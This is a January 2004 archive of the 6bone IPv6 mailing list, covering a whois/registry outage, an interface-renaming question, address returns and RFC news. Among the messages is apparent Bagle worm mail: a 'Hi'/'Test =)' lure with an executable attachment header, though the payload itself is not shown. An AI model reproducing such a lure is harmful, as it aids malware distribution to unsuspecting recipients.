>  5  3ffe:80a::3 (3ffe:80a::3)  213.368 ms  196.731 ms  196.995 ms
>  6  3ffe:1200:3012:1916::18 (3ffe:1200:3012:1916::18)  195.91 ms  193.864 ms  204.643 ms
>  7  2001:490:f000:1300::1 (2001:490:f000:1300::1)  2983.78 ms !H  2969.3 ms !H  2998.28 ms !H
> 
> Is it a known problem?
> 
> Greets,
>  Jeroen
> 
> -----BEGIN PGP SIGNATURE-----
> Version: Unfix PGP for Outlook Alpha 13 Int.
> Comment: Jeroen Massar / http://unfix.org/~jeroen
> 
> iQA/AwUBP/h7NymqKFIzPnwjEQKdbACfYxyKHquMovjWG/ko9i2nCXNkN8UAn05R
> oslZMt4Q6fmwgrFKvqxI6nWz
> =iJ2M
> -----END PGP SIGNATURE-----
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
James Jun (formerly Haesu)
TowardEX Technologies, Inc.
1740 Massachusetts Ave.
Boxborough, MA 01719
Consulting, IPv4 & IPv6 colocation, web hosting, network design & implementation
http://www.towardex.com  | james@towardex.com
Cell: (978)394-2867      | Office: (978)263-3399 Ext. 170
Fax: (978)263-0033       | AIM: GigabitEthernet0
NOC: http://www.twdx.net | POC: HAESU-ARIN, HDJ1-6BONE

From hahn@berkom.de Mon Jan  5 00:14:38 2004
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Date: Mon, 05 Jan 2004 09:14:29 +0100
From: Christian Hahn <hahn@berkom.de>
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To: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: Re: [6bone] whois.6bone.net down?
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Hi, happy new year to all.

One of my scripts fetched the latest 6bone.db.gz on 31.12.03 around 3 
in the morning. By now it's not working for me, neither IPv6 nor IPv4.

traceroute to whois.6bone.net (2001:490:f000:1300::c), 30 hops max, 40 
byte packets
  1  * * *
  2  e1-0-0-v6.r01.ipv6.berkom.de 
(2001:7a0:100:100:210:79ff:fecc:e820)  45.372 ms *
  6.237 ms
  3  tun0009-pop00-hurricane.tunnels.ipv6.icpnet.pl 
(3ffe:400c:feed::9)  211.630 ms
211.831 ms   210.840 ms
  4  3ffe:80a::3  255.170 ms * *
  5  3ffe:1200:3012:1916::18  260.261 ms   257.122 ms   256.110 ms
  6  * * 2001:490:f000:1300::1(H!)  3056.350 ms


traceroute to whois.6bone.net (192.103.19.12), 30 hops max, 40 byte 
packets
  1  re1.berkom.de (141.39.12.3)  3.088 ms   2.693 ms   2.975 ms
  2  ar-tuberlin1.g-win.dfn.de (188.1.33.65)  3.414 ms   2.596 ms 
2.718 ms
  3  cr-berlin1-po4-1.g-win.dfn.de (188.1.20.9)  3.569 ms   2.833 ms 
  2.876 ms
  4  cr-frankfurt1-po9-2.g-win.dfn.de (188.1.18.185)  12.984 ms 
12.022 ms   11.817 ms
  5  ir-frankfurt2-po3-0.g-win.dfn.de (188.1.80.42)  12.788 ms 
25.489 ms   12.308 ms
  6  ge9-0.pr1.fra1.de.mfnx.net (216.200.116.97)  13.152 ms   11.794 
ms   11.789 ms
  7  so-0-1-0.cr2.fra1.de.mfnx.net (216.200.116.209)  13.911 ms 
12.253 ms   11.915 ms
  8  pos10-0.mpr1.ams1.nl.above.net (64.125.30.150)  19.093 ms 
18.408 ms   18.412 ms
  9  pos2-0.cr1.ams2.nl.above.net (208.184.231.54)  20.328 ms   18.846 
ms   18.831 ms
10  so-5-0-0.cr1.lhr3.uk.above.net (64.125.31.153)  24.780 ms   25.338 
ms   24.739 ms
11  so-7-0-0.cr1.dca2.us.above.net (64.125.31.186)  96.792 ms   97.616 
ms   96.534 ms
12  so-3-0-0.mpr3.sjc2.us.mfnx.net (208.184.233.133)  162.780 ms 
162.860 ms   162.864 ms
13  so-2-0-0.er10a.sjc2.us.above.net (64.125.30.90)  167.835 ms 
167.751 ms   167.945 ms
14  208.185.182.61.he.net (208.185.182.61)  167.719 ms   168.591 ms 
167.847 ms
15  gige-g0-0-2.gsr12008.pao.he.net (65.19.156.125)  168.656 ms 
168.550 ms   168.597 ms
16  65.19.141.238  164.237 ms   164.301 ms   165.059 ms
17  65.19.141.238(H!)  164.783 ms (H!)  164.405 ms (H!)  164.129 ms


cheers,
Christian



Jeroen Massar wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Hi,
> 
> I just noticed that whois.6bone.net seems down over IPv4 and IPv6:
> 
> jeroen@purgatory:~$ traceroute whois.6bone.net
> traceroute to whois.6bone.net (192.103.19.12), 64 hops max, 40 byte packets
>  1  nrp-1.bras-1.ams-tel.cistron.net (195.64.92.1)  59 ms  19 ms  19 ms
>  2  ve-4.rtr-1.ams-sar.cistron.net (62.216.29.1)  19 ms  18 ms  18 ms
>  3  ge10-0.mpr1.ams1.nl.mfnx.net (195.69.144.122)  19 ms  19 ms  18 ms
>  4  pos2-0.cr2.ams2.nl.above.net (208.184.231.254)  19 ms  18 ms  18 ms
>  5  so-4-0-0.cr2.lhr3.uk.above.net (64.125.31.157)  27 ms  25 ms  26 ms
>  6  so-0-0-0.cr1.lhr3.uk.above.net (208.184.231.145)  26 ms  26 ms  26 ms
>  7  so-7-0-0.cr1.dca2.us.above.net (64.125.31.186)  98 ms  98 ms  98 ms
>  8  so-0-0-0.cr2.dca2.us.above.net (208.184.233.122)  98 ms  99 ms  100 ms
>  9  so-6-3-0.mpr4.sjc2.us.above.net (64.125.30.166)  203 ms  195 ms  195 ms
> 10  so-0-0-0.er10a.sjc2.us.above.net (64.125.30.94)  206 ms  190 ms  200 ms
> 11  208.185.182.61.he.net (208.185.182.61)  199 ms  203 ms  204 ms
> 12  gige-g0-0-2.gsr12008.pao.he.net (65.19.156.125)  200 ms  194 ms  200 ms
> 13  65.19.141.238 (65.19.141.238)  172 ms  171 ms  170 ms
> 14  65.19.141.238 (65.19.141.238)  170 ms !H  171 ms !H  170 ms !H
> 
> jeroen@purgatory:/etc/network$ traceroute6 whois.6bone.net
> traceroute to whois.6bone.net (2001:490:f000:1300::c) from 3ffe:8114:2000:240:290:27ff:fe24:c19f, 30 hops max, 16 byte packets
>  1  gw-20.ams-02.nl.sixxs.net (3ffe:8114:1000::26)  19.258 ms  19.361 ms  20.027 ms
>  2  Amsterdam.core.ipv6.intouch.net (2001:6e0::2)  47.478 ms  19.8 ms  19.743 ms
>  3  3ffe:800::fffb:0:0:5 (3ffe:800::fffb:0:0:5)  176.384 ms  324.368 ms  177.661 ms
>  4  2001:478:ffff::1e (2001:478:ffff::1e)  227.285 ms  217.023 ms  215.926 ms
>  5  3ffe:80a::3 (3ffe:80a::3)  213.368 ms  196.731 ms  196.995 ms
>  6  3ffe:1200:3012:1916::18 (3ffe:1200:3012:1916::18)  195.91 ms  193.864 ms  204.643 ms
>  7  2001:490:f000:1300::1 (2001:490:f000:1300::1)  2983.78 ms !H  2969.3 ms !H  2998.28 ms !H
> 
> Is it a known problem?
> 
> Greets,
>  Jeroen
> 
> -----BEGIN PGP SIGNATURE-----
> Version: Unfix PGP for Outlook Alpha 13 Int.
> Comment: Jeroen Massar / http://unfix.org/~jeroen
> 
> iQA/AwUBP/h7NymqKFIzPnwjEQKdbACfYxyKHquMovjWG/ko9i2nCXNkN8UAn05R
> oslZMt4Q6fmwgrFKvqxI6nWz
> =iJ2M
> -----END PGP SIGNATURE-----
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From david@iprg.nokia.com Tue Jan  6 09:53:16 2004
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Date: Tue, 6 Jan 2004 09:52:58 -0800
From: David Kessens <david@iprg.nokia.com>
To: 6bone@ISI.EDU
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Subject: [6bone] 6bone registry
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Hi,

As some of you probably already noticed, the 6bone registry is
experiencing some problems. I am trying my best to get everything back
up as soon as possible but it will take me a bit more time as usual
since both some hardware and software changes will be needed.

In the mean time, thanks for your patience,

David Kessens
---

From david@iprg.nokia.com Tue Jan  6 12:03:30 2004
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Date: Tue, 6 Jan 2004 12:03:11 -0800
From: David Kessens <david@iprg.nokia.com>
To: 6bone@ISI.EDU
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Subject: [6bone] Re: 6bone registry
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Everything should be working again.

I hope this helps,

David Kessens
---

----- Forwarded message from David Kessens <david@IPRG.nokia.com> -----

From: David Kessens <david@IPRG.nokia.com>
To: 6bone@ISI.EDU
Subject: [6bone] 6bone registry
Date: Tue, 6 Jan 2004 09:52:58 -0800


Hi,

As some of you probably already noticed, the 6bone registry is
experiencing some problems. I am trying my best to get everything back
up as soon as possible but it will take me a bit more time as usual
since both some hardware and software changes will be needed.

In the mean time, thanks for your patience,

David Kessens
---

----- End forwarded message -----

From hahn@berkom.de Wed Jan  7 01:28:11 2004
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Subject: Re: [6bone] Re: 6bone registry
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Yes it works, my script which usually fetches the 6bone.db on 
Wednesday morning was able to get it :)

Thank you for the work,
Christian Hahn

David Kessens wrote:
> Everything should be working again.
> 
> I hope this helps,
> 
> David Kessens
> ---
> 
> ----- Forwarded message from David Kessens <david@IPRG.nokia.com> -----
> 
> From: David Kessens <david@IPRG.nokia.com>
> To: 6bone@ISI.EDU
> Subject: [6bone] 6bone registry
> Date: Tue, 6 Jan 2004 09:52:58 -0800
> 
> 
> Hi,
> 
> As some of you probably already noticed, the 6bone registry is
> experiencing some problems. I am trying my best to get everything back
> up as soon as possible but it will take me a bit more time as usual
> since both some hardware and software changes will be needed.
> 
> In the mean time, thanks for your patience,
> 
> David Kessens
> ---
> 
> ----- End forwarded message -----
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

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Dear Sir
 
                 I am M.tech  (Computer Science)  student. I am doing my project as "performance measure in various transition mechanisms from ipv4 to ipv6". I am using Red Hat Linux 8.0.
 
I am using 2 methods: Dual stack and Tunneling.
 
In Dual stack I implemented  Client-Server communication. And I used ping and ping6 to check the performance such as rtt,throughput,packet loss.
 
In tunneling I used sit interface and I am communicating 2 mechines (IPV6) and transmitting the packets  between them to test the performance such as packet loss,throughput,rtt.

 
Now my doubt is : how to change the name of sit interface in the output of ifconfig command? And even whatever I change in /usr/src/linux-2.4.20-8/net/ipv6/sit.c it wont be affected in the output of ifconfig.
 
Please give me suggesions regarding this.
 
Thanking You
 
Mamtha

6bone-request@mailman.isi.edu wrote:
Send 6bone mailing list submissions to
6bone@mailman.isi.edu

To subscribe or unsubscribe via the World Wide Web, visit
http://mailman.isi.edu/mailman/listinfo/6bone
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When replying, please edit your Subject line so it is more specific
than "Re: Contents of 6bone digest..."


Today's Topics:

1. Re: 6bone registry (David Kessens)
2. Re: Re: 6bone registry (Christian Hahn)

--__--__--

Message: 1
Date: Tue, 6 Jan 2004 12:03:11 -0800
From: David Kessens 
To: 6bone@ISI.EDU
Subject: [6bone] Re: 6bone registry


Everything should be working again.

I hope this helps,

David Kessens
---

----- Forwarded message from David Kessens -----

From: David Kessens 
To: 6bone@ISI.EDU
Subject: [6bone] 6bone registry
Date: Tue, 6 Jan 2004 09:52:58 -0800


Hi,

As some of you probably already noticed, the 6bone registry is
experiencing some problems. I am trying my best to get everything back
up as soon as possible but it will take me a bit more time as usual
since both some hardware and software changes will be needed.

In the mean time, thanks for your patience,

David Kessens
---

----- End forwarded message -----

--__--__--

Message: 2
Date: Wed, 07 Jan 2004 10:28:01 +0100
From: Christian Hahn 
To: 6bone@ISI.EDU
Subject: Re: [6bone] Re: 6bone registry

Yes it works, my script which usually fetches the 6bone.db on 
Wednesday morning was able to get it :)

Thank you for the work,
Christian Hahn

David Kessens wrote:
> Everything should be working again.
> 
> I hope this helps,
> 
> David Kessens
> ---
> 
> ----- Forwarded message from David Kessens -----
> 
> From: David Kessens 
> To: 6bone@ISI.EDU
> Subject: [6bone] 6bone registry
> Date: Tue, 6 Jan 2004 09:52:58 -0800
> 
> 
> Hi,
> 
> As some of you probably already noticed, the 6bone registry is
> experiencing some problems. I am trying my best to get everything back
> up as soon as possible but it will take me a bit more time as usual
> since both some hardware and software changes will be needed.
> 
> In the mean time, thanks for your patience,
> 
> David Kessens
> ---
> 
> ----- End forwarded message -----
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


--__--__--

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone


End of 6bone Digest 
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<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>Dear Sir</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I am M.tech&nbsp;&nbsp;(Computer Science)&nbsp; student. I am doing my project as "performance measure in various transition mechanisms from ipv4 to ipv6". I am using Red Hat Linux 8.0.</DIV>
<DIV>&nbsp;</DIV>
<DIV>I am using 2 methods: Dual stack and Tunneling.</DIV>
<DIV>&nbsp;</DIV>
<DIV>In Dual stack I implemented&nbsp; Client-Server communication. And I used ping and ping6 to check the performance such as rtt,throughput,packet loss.</DIV>
<DIV>&nbsp;</DIV>
<DIV>In tunneling I used sit interface and I am communicating 2 mechines (IPV6) and transmitting the packets&nbsp; between them to test the performance such as packet loss,throughput,rtt.</DIV>
<DIV><BR>&nbsp;</DIV>
<DIV>Now my doubt is : how to change the name of sit interface in the output of ifconfig command? And even whatever I change in /usr/src/linux-2.4.20-8/net/ipv6/sit.c it wont be affected in the output of ifconfig.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Please give me suggesions regarding this.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Thanking You</DIV>
<DIV>&nbsp;</DIV>
<DIV>Mamtha</DIV>
<DIV><BR><B><I>6bone-request@mailman.isi.edu</I></B> wrote:</DIV>
<BLOCKQUOTE class=replbq style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">Send 6bone mailing list submissions to<BR>6bone@mailman.isi.edu<BR><BR>To subscribe or unsubscribe via the World Wide Web, visit<BR>http://mailman.isi.edu/mailman/listinfo/6bone<BR>or, via email, send a message with subject or body 'help' to<BR>6bone-request@mailman.isi.edu<BR><BR>You can reach the person managing the list at<BR>6bone-admin@mailman.isi.edu<BR><BR>When replying, please edit your Subject line so it is more specific<BR>than "Re: Contents of 6bone digest..."<BR><BR><BR>Today's Topics:<BR><BR>1. Re: 6bone registry (David Kessens)<BR>2. Re: Re: 6bone registry (Christian Hahn)<BR><BR>--__--__--<BR><BR>Message: 1<BR>Date: Tue, 6 Jan 2004 12:03:11 -0800<BR>From: David Kessens <DAVID@IPRG.NOKIA.COM><BR>To: 6bone@ISI.EDU<BR>Subject: [6bone] Re: 6bone registry<BR><BR><BR>Everything should be working again.<BR><BR>I hope this helps,<BR><BR>David Kessens<BR>---<BR><BR>-----
 Forwarded message from David Kessens <DAVID@IPRG.NOKIA.COM>-----<BR><BR>From: David Kessens <DAVID@IPRG.NOKIA.COM><BR>To: 6bone@ISI.EDU<BR>Subject: [6bone] 6bone registry<BR>Date: Tue, 6 Jan 2004 09:52:58 -0800<BR><BR><BR>Hi,<BR><BR>As some of you probably already noticed, the 6bone registry is<BR>experiencing some problems. I am trying my best to get everything back<BR>up as soon as possible but it will take me a bit more time as usual<BR>since both some hardware and software changes will be needed.<BR><BR>In the mean time, thanks for your patience,<BR><BR>David Kessens<BR>---<BR><BR>----- End forwarded message -----<BR><BR>--__--__--<BR><BR>Message: 2<BR>Date: Wed, 07 Jan 2004 10:28:01 +0100<BR>From: Christian Hahn <HAHN@BERKOM.DE><BR>To: 6bone@ISI.EDU<BR>Subject: Re: [6bone] Re: 6bone registry<BR><BR>Yes it works, my script which usually fetches the 6bone.db on <BR>Wednesday morning was able to get it :)<BR><BR>Thank you for the work,<BR>Christian Hahn<BR><BR>David Kessens
 wrote:<BR>&gt; Everything should be working again.<BR>&gt; <BR>&gt; I hope this helps,<BR>&gt; <BR>&gt; David Kessens<BR>&gt; ---<BR>&gt; <BR>&gt; ----- Forwarded message from David Kessens <DAVID@IPRG.NOKIA.COM>-----<BR>&gt; <BR>&gt; From: David Kessens <DAVID@IPRG.NOKIA.COM><BR>&gt; To: 6bone@ISI.EDU<BR>&gt; Subject: [6bone] 6bone registry<BR>&gt; Date: Tue, 6 Jan 2004 09:52:58 -0800<BR>&gt; <BR>&gt; <BR>&gt; Hi,<BR>&gt; <BR>&gt; As some of you probably already noticed, the 6bone registry is<BR>&gt; experiencing some problems. I am trying my best to get everything back<BR>&gt; up as soon as possible but it will take me a bit more time as usual<BR>&gt; since both some hardware and software changes will be needed.<BR>&gt; <BR>&gt; In the mean time, thanks for your patience,<BR>&gt; <BR>&gt; David Kessens<BR>&gt; ---<BR>&gt; <BR>&gt; ----- End forwarded message -----<BR>&gt; _______________________________________________<BR>&gt; 6bone mailing list<BR>&gt;
 6bone@mailman.isi.edu<BR>&gt; http://mailman.isi.edu/mailman/listinfo/6bone<BR><BR><BR>--__--__--<BR><BR>_______________________________________________<BR>6bone mailing list<BR>6bone@mailman.isi.edu<BR>http://mailman.isi.edu/mailman/listinfo/6bone<BR><BR><BR>End of 6bone Digest</BLOCKQUOTE>&nbsp;<p><font face=arial size=-1>
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From mamthabc@yahoo.co.in Thu Jan  8 20:42:42 2004
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Dear Sir
 
                 I am M.tech  (Computer Science)  student. I am doing my project as "performance measure in various transition mechanisms from ipv4 to ipv6". I am using Red Hat Linux 8.0.
 
I am using 2 methods: Dual stack and Tunneling.
 
In Dual stack I implemented  Client-Server communication. And I used ping and ping6 to check the performance such as rtt,throughput,packet loss.
 
In tunneling I used sit interface and I am communicating 2 mechines (IPV6) and transmitting the packets  between them to test the performance such as packet loss,throughput,rtt.

 
Now my doubt is : how to change the name of sit interface in the output of ifconfig command? And even whatever I change in /usr/src/linux-2.4.20-8/net/ipv6/sit.c it wont be affected in the output of ifconfig. Also it won't ping www.6bone.net using sit interface.
 
Please give me suggesions regarding this.
 
Thanking You
 
Mamtha

 


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<DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>Dear Sir</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I am M.tech&nbsp;&nbsp;(Computer Science)&nbsp; student. I am doing my project as "performance measure in various transition mechanisms from ipv4 to ipv6". I am using Red Hat Linux 8.0.</DIV>
<DIV>&nbsp;</DIV>
<DIV>I am using 2 methods: Dual stack and Tunneling.</DIV>
<DIV>&nbsp;</DIV>
<DIV>In Dual stack I implemented&nbsp; Client-Server communication. And I used ping and ping6 to check the performance such as rtt,throughput,packet loss.</DIV>
<DIV>&nbsp;</DIV>
<DIV>In tunneling I used sit interface and I am communicating 2 mechines (IPV6) and transmitting the packets&nbsp; between them to test the performance such as packet loss,throughput,rtt.</DIV>
<DIV><BR>&nbsp;</DIV>
<DIV>Now my doubt is : how to change the name of sit interface in the output of ifconfig command? And even whatever I change in /usr/src/linux-2.4.20-8/net/ipv6/sit.c it wont be affected in the output of ifconfig. Also it won't ping <A href="http://www.6bone.net">www.6bone.net</A> using sit interface.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Please give me suggesions regarding this.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Thanking You</DIV>
<DIV>&nbsp;</DIV>
<DIV>Mamtha</DIV>
<DIV><BR>&nbsp;</DIV></DIV><p><font face=arial size=-1>
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From psb@ast.cam.ac.uk Thu Jan  8 23:45:34 2004
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I wonder why you want to do that?   If that is all,just
ifconfig | sed 's/sit/othername//g'

Pete.

On Fri, 9 Jan 2004, [iso-8859-1] Mamatha Balachandra wrote:

>
>
> Dear Sir
>
>                  I am M.tech  (Computer Science)  student. I am doing my project as "performance measure in various transition mechanisms from ipv4 to ipv6". I am using Red Hat Linux 8.0.
>
> I am using 2 methods: Dual stack and Tunneling.
>
> In Dual stack I implemented  Client-Server communication. And I used ping and ping6 to check the performance such as rtt,throughput,packet loss.
>
> In tunneling I used sit interface and I am communicating 2 mechines (IPV6) and transmitting the packets  between them to test the performance such as packet loss,throughput,rtt.
>
>
> Now my doubt is : how to change the name of sit interface in the output of ifconfig command? And even whatever I change in /usr/src/linux-2.4.20-8/net/ipv6/sit.c it wont be affected in the output of ifconfig. Also it won't ping www.6bone.net using sit interface.
>
> Please give me suggesions regarding this.
>
> Thanking You
>
> Mamtha
>
>
>
>
> Yahoo! India Mobile: Ringtones, Wallpapers, Picture Messages and more.Download now.

From jeroen@unfix.org Fri Jan  9 04:54:57 2004
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Subject: RE: [6bone] Re: about transition from ipv4 to ipv6
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-----BEGIN PGP SIGNED MESSAGE-----

Mamatha Balachandra wrote:

> Dear Sir

Don't forget the Madam's here ;)

<SNIP>

> Now my doubt is : how to change the name of sit interface in 
> the output of ifconfig command? And even whatever I change in 
> /usr/src/linux-2.4.20-8/net/ipv6/sit.c it wont be affected in 
> the output of ifconfig. Also it won't ping www.6bone.net 
> using sit interface.

ip link set <interface> name <newname>

eg: ip link set sit0 name 6bone

(ip is in the iproute2 pacakge)

Or check man netdevice(7) and use the SIOCSIFNAME ioctl.

Greets,
 Jeroen

-----BEGIN PGP SIGNATURE-----
Version: Unfix PGP for Outlook Alpha 13 Int.
Comment: Jeroen Massar / http://unfix.org/~jeroen

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From jeroen@unfix.org Sat Jan 10 19:44:23 2004
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To: "'m6bone'" <m6bone@ml.renater.fr>, <6bone@ISI.EDU>
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Subject: [6bone] SixXS has two Multicast IPv6 enabled POPs ;)
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-----BEGIN PGP SIGNED MESSAGE-----

From: http://www.sixxs.net/news/2004/

8<-----
January 11th - IPv6 Multicast enabled on IPng and Concepts POPs

We have enabled Multicast IPv6 using the newly released version
of the ecmh tool. This means that users on the IPng and Concepts
POPs can send and receive Multicast IPv6 to the other users on
these two POPs. The POPs are interlinked for multicast traffic
thus users can receive and send multicast streams available on
both POPs. Check the Forum to see where you can find Multicast
sessions. We have also added a FAQ item explaining Multicast IPv6.
- ------>8

ecmh can be downloaded from SourceForge or from the main page at:
http://unfix.org/projects/ecmh/

Greets,
 Jeroen

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From jeroen@unfix.org Sun Jan 11 06:43:20 2004
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Hi,

I just got the following mail from Rico Gloeckner and I am
wondering why there actually is any moderation on the 6bone
list for subscriptions... and why he gets rejected without
any reason whatsoever.

Greets,
 Jeroen

- ----- Forwarded message from 6bone-admin@mailman.isi.edu -----

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Your request to the 6bone mailing list

    Subscription request

has been rejected by the list moderator.  The moderator gave the
following reason for rejecting your request:

"[No reason given]"

Any questions or comments should be directed to the list administrator
at:

    6bone-admin@mailman.isi.edu

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- -- 
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http://www.ukeer.de/signature.html  ==        RICO-RIPE
     sip://42@daheim.ukeer.de       ==   jabber://mc@micq.org  

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From drixter@e-utp.net Sun Jan 11 07:09:39 2004
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Jeroen Massar wrote:

> I just got the following mail from Rico Gloeckner and I am
> wondering why there actually is any moderation on the 6bone
> list for subscriptions... and why he gets rejected without
> any reason whatsoever.

I've got the same, but email to admin(6bone-admin@mailman.isi.edu) fix 
the problem:

From: Joe Kemp <kemp@ISI.EDU>
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Marcin,

I apologize for the rejections notice. This should not of happened. I 
have added you to the list.

6bone Administrator



-- 
---------------------------------------------------------------
Marcin Gondek / Drixter * ICQ 99230394 * GG 5576693 * MG8-6BONE
perl -le's&&\$2)84%2<%X540|.%4&*y^BSD|\!->~X^w: .a-{@-^/print;'
Neutrin - Vortal systemów nowej generacji http://www.neutrin.pl

From boudreat@eng.verio.net Thu Jan 15 19:56:23 2004
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Verio Inc. (AS2914) has switched over to RIR sTLA space and is
returning our pTLA's
  3ffe:900::/24
  3ffe:a00::/24

Troy

From bob@thefinks.com Thu Jan 15 23:27:52 2004
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Troy,

At 03:56 AM 1/16/2004 +0000, Troy Boudreau wrote:

>Verio Inc. (AS2914) has switched over to RIR sTLA space and is
>returning our pTLA's
>   3ffe:900::/24
>   3ffe:a00::/24

Thanks. I'll note the returns in the pTLA list.

Bob 


From pekkas@netcore.fi Fri Jan 16 02:04:38 2004
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Hello everybody,

(Please send the replies to only me and Myung-Ki, please.)

We, at v6ops WG in the IETF, are in the process of documenting the
ways to transition applications to IPv6.  The biggest action item of 
this process is developing some guidelines for porting applications to 
support IPv6.

The document describing these procedures is soon being finished.  
We're soliciting input from the people who've had experience with 
these issues, with regard to the document:

http://www.ietf.org/internet-drafts/draft-ietf-v6ops-application-transition-00.txt

If possible, please send feedback within a week.  Thanks.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings




From Stig.Venaas@uninett.no Fri Jan 16 06:12:16 2004
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On Fri, Jan 16, 2004 at 12:04:30PM +0200, Pekka Savola wrote:
[...]
> http://www.ietf.org/internet-drafts/draft-ietf-v6ops-application-transition-00.txt
> 
> If possible, please send feedback within a week.  Thanks.

I have a few items.

1. In 5.1 on presentation format, it talks about semi-colon where it
   should be colon. Quote:

     A particular problem with IP address parsers comes when the input
     is actually a combination of IP address and port.  With IPv4, these
     are often coupled with a semi-colon, like "192.0.2.1:80".  However,
     such an approach would be ambiguous with IPv6, as semi-colons are
     already used to structure the address.


2. I think it's too strong to say that it's bad practice to add AAAA
   record in DNS before all services support IPv6. There are many cases
   where one wants to start supporting IPv6 for some services, but are
   not able to IPv6 enable all. All client applications should be able
   to switch to v4 if v6 fails, and it shouldn't cause noticable delay
   for the user, unless there are some broken pieces in the network
   mishandling AAAA queries or responses. I agree it should be avoided,
   but to me "bad practice" sounds too strong.

3. Bind behaviour

   The document should perhaps say something about differences in bind
   behaviour. The main issue is whether you can first bind to v6 wild
   card address, and then the v4. It can be a pain to write applications
   that cope with this. In most cases, use of IPV6_V6ONLY should help,
   but unfortunately it doesn't say anywhere that it should affect bind
   behaviour. I think it's logical that it should though. The reason the
   v4 wild card bind fails on some systems, is that the v4 space is
   embedded into v6 space when using mapped addresses.

Stig



From P.Zurawski@crowley.pl Sun Jan 18 22:12:29 2004
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 Test =)
gaslilwvbwrrycpq
--
Test, yep.

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----------208483602718157--


From thomas.fillaud@laposte.net Mon Jan 19 02:40:06 2004
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Date: Mon, 19 Jan 2004 11:39:57 +0100
Message-Id: <HRQGAL$87F8B2865D4CBCFB5AE1750CA4ADA36E@laposte.net>
Subject: Re:[6bone] Hi
MIME-Version: 1.0
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From: "thomas\.fillaud" <thomas.fillaud@laposte.net>
To: "6bone" <6bone@ISI.EDU>
X-XaM3-API-Version: 4.1 (B15)
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Cc: 
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Precedence: list
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Really interesting that test .... o:-|



The message senders were
    P.Zurawski@crowley.pl
    6bone-bounces@mailman.isi.edu

and they have been notified that they have sent a potential virus.
The message title was [6bone] Hi
The message date was Mon, 19 Jan 2004 17:12:20 +1000
The virus or unauthorised code identified in the email is
/var/qmail/queue/split/1/attach/3352173_2X_PM3_EMS_MA-X=2DMSDOWNLOAD__ipxeeco.exe
        Found the W32/Bagle@MM virus !!! 



***********************************
Thomas FILLAUD

e-mail : thomas.fillaud@laposte.net
***********************************

Accédez au courrier électronique de La Poste : www.laposte.net ; 
3615 LAPOSTENET (0,34€/mn) ; tél : 08 92 68 13 50 (0,34€/mn)




From mariac@seciu.edu.uy Mon Jan 19 02:42:58 2004
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Date: Mon, 19 Jan 2004 14:42:45 +0400
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Subject: [6bone] Hi
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----------865228320732763
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Test =)
frhdehtllf
--
Test, yep.

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Content-Type: application/x-msdownload; name="rbhcysd.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="adcqlcxyfa.exe"

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----------865228320732763--


From leif@denby.nu Mon Jan 19 05:40:28 2004
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Subject: [6bone] virus everywhere..
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someone out there is going to get hit by this. please scan your emails!

From Q@ping.be Tue Jan 20 14:06:51 2004
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Subject: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of E.F.F.3.IP6.ARPA
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FYI.


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A new Request for Comments is now available in online RFC libraries.


        BCP 80
        RFC 3681

        Title:      Delegation of E.F.F.3.IP6.ARPA
        Author(s):  R. Bush, R. Fink
        Status:     Best Current Practice
        Date:       January 2004
        Mailbox:    randy@psg.com, bob@thefinks.com
        Pages:      4
        Characters: 7137
        SeeAlso:    BCP 80

        I-D Tag:    draft-ymbk-6bone-arpa-delegation-01.txt

        URL:        ftp://ftp.rfc-editor.org/in-notes/rfc3681.txt


This document discusses the need for delegation of the
E.F.F.3.IP6.ARPA DNS zone in order to enable reverse lookups for
6bone addresses, and makes specific recommendations for the process
needed to accomplish this.

This document specifies an Internet Best Current Practices for the
Internet Community, and requests discussion and suggestions for
improvements.  Distribution of this memo is unlimited.

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Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute

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From jeroen@unfix.org Tue Jan 20 14:24:45 2004
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Subject: RE: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of E.F.F.3.IP6.ARPA
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Kurt Roeckx wrote:

> FYI.

Indeed just saw it on the ID mailer too.
Now let's see when it gets implemented.
Who votes for 6/6/2006 ? :)

On a better topic, I hope this gets there real quick
because then we can simply turn of ip6.int and *FORCE*
application vendors to do ip6.arpa support in their code.
For instance both Fedora nor Windows XP don't have it yet.

Greets,
 Jeroen

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Subject: RE: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of E.F.F.3.IP6.ARPA
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At 11:23 PM 1/20/2004 +0100, Jeroen Massar wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Kurt Roeckx wrote:
>
> > FYI.
>
>Indeed just saw it on the ID mailer too.
>Now let's see when it gets implemented.
>Who votes for 6/6/2006 ? :)
>
>On a better topic, I hope this gets there real quick
>because then we can simply turn of ip6.int and *FORCE*
